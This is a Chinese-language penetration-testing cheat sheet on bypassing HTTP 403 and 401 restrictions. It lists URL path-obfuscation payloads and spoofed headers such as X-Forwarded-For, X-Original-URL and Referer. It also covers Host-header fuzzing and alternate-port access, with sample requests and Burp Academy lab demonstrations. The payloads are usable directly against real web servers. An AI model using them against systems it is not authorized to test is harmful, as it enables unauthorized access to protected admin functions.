403bypass burp插件:
https://github.com/sting8k/BurpSuite_403Bypasser
403 forbidden 绕过技巧
扩展名/uri 混淆
site.com/admin => 403
site.com/admin/ => 200
site.com/random-dir/../admin => 200
site.com/random-dir/..;/admin => 200
site.com/random-dir/..%252F/admin => 200
site.com/admin// => 200
site.com//admin// => 200
site.com/admin/* => 200
site.com/admin/*/ => 200
site.com/admin/. => 200
site.com/admin/./ => 200
site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200
site.com/admin..;/ => 200
site.com/admin/..;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200
site.com/%20admin%20/ => 200
site.com/%0dadmin => 200
代理IP
一般开发者会通过 Nginx 代理识别访问端 IP 限制对接口的访问,尝试使用 X-Forwarded-For、X-Forwared-Host 等标头绕过 Web 服务器的限制。
- X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1
- X-Custom-IP-Authorization: 127.0.0.1
示例:
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 Unauthorized
Reqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK
Referer 标头绕过
尝试使用 Referer 标头绕过 Web 服务器的限制。
介绍:Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源。
示例:
Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK
or
Reqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK
Burp 学院实验室进行演示,使用非管理员凭据登录后,浏览 /admin-roles?username=carlos&action=upgrade 服务端返回 401 未进行认证,无权限访问。
在 Header 头中添加 Referer 标头,服务端提示 302 表示请求成功,使用 Referer 标头绕过 Web 服务器的限制。
覆盖请求 URL
尝试使用 X-Original-URL 和 X-Rewrite-URL 标头绕过 Web 服务器的限制。
介绍:通过支持 X-Original-URL 和 X-Rewrite-URL 标头,用户可以使用 X-Original-URL 或 X-Rewrite-URL HTTP 请求标头覆盖请求 URL 中的路径,尝试绕过对更高级别的缓存和 Web 服务器的限制。
示例:
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
X-Original-URL: /auth/login
Response
HTTP/1.1 200 OK
or
Reqeust
GET / HTTP/1.1
X-Rewrite-URL: /auth/login
Response
HTTP/1.1 200 OK
Burp 学院实验室进行演示,首先普通用户访问 admin 页面会被限制,要使用 admin 用户登录才行。点击 管理面板(Admin panel)burp 抓包查看,服务端返回 403,”Access denied” 禁止访问。
在 Header 头中添加 X-Original-URL 标头,发现已经有权限可以删除 Administrator、carlos、wiener 帐号的管理员权限。
修改 HOST
我们先说下 Host 在请求头中的作用,在一般情况下,几个网站可能会部署在同一个服务器上,或者几个 web 系统共享一个服务器,通过 host 头来指定应该由哪个网站或者 web 系统来处理用户的请求。
而很多 WEB 应用通过获取 HTTP HOST 头来获得当前请求访问的位置,但是很多开发人员并未意识到 HTTP HOST 头由用户控制,从安全角度来讲,任何用户输入都是认为不安全的。
当服务器获取 HOST 的方式不当时,我们可以通过修改 Host 值来进行绕过。首先对该目标域名进行子域名收集,整理好子域名资产(host 字段同样支持 IP 地址)。先 Fuzz 测试跑一遍收集到的子域名,这里使用的是 Burp 的 Intruder 功能。
往往成功也离不开运气,看到一个服务端返回 200 的状态码。成功找到一个在 HOST 白名单中的子域名。我们利用 firefox 插件来修改 HOST 值,成功绕过访问限制。
端口利用
iamadmixxx.xxx.xxx:80/auth/login 403 forbidden
端口信息收集,利用 nmap 进行全端口探测,发现除了 80 端口之外,还开放了一个 web 服务的 8001 端口,我们尝试使用 8001 端口访问 (xxx.xxxx.com:8001) ,总是充满惊喜。可直接绕过 IP 限制进行访问。
iamadmixxx.xxx.xxx:8001/auth/login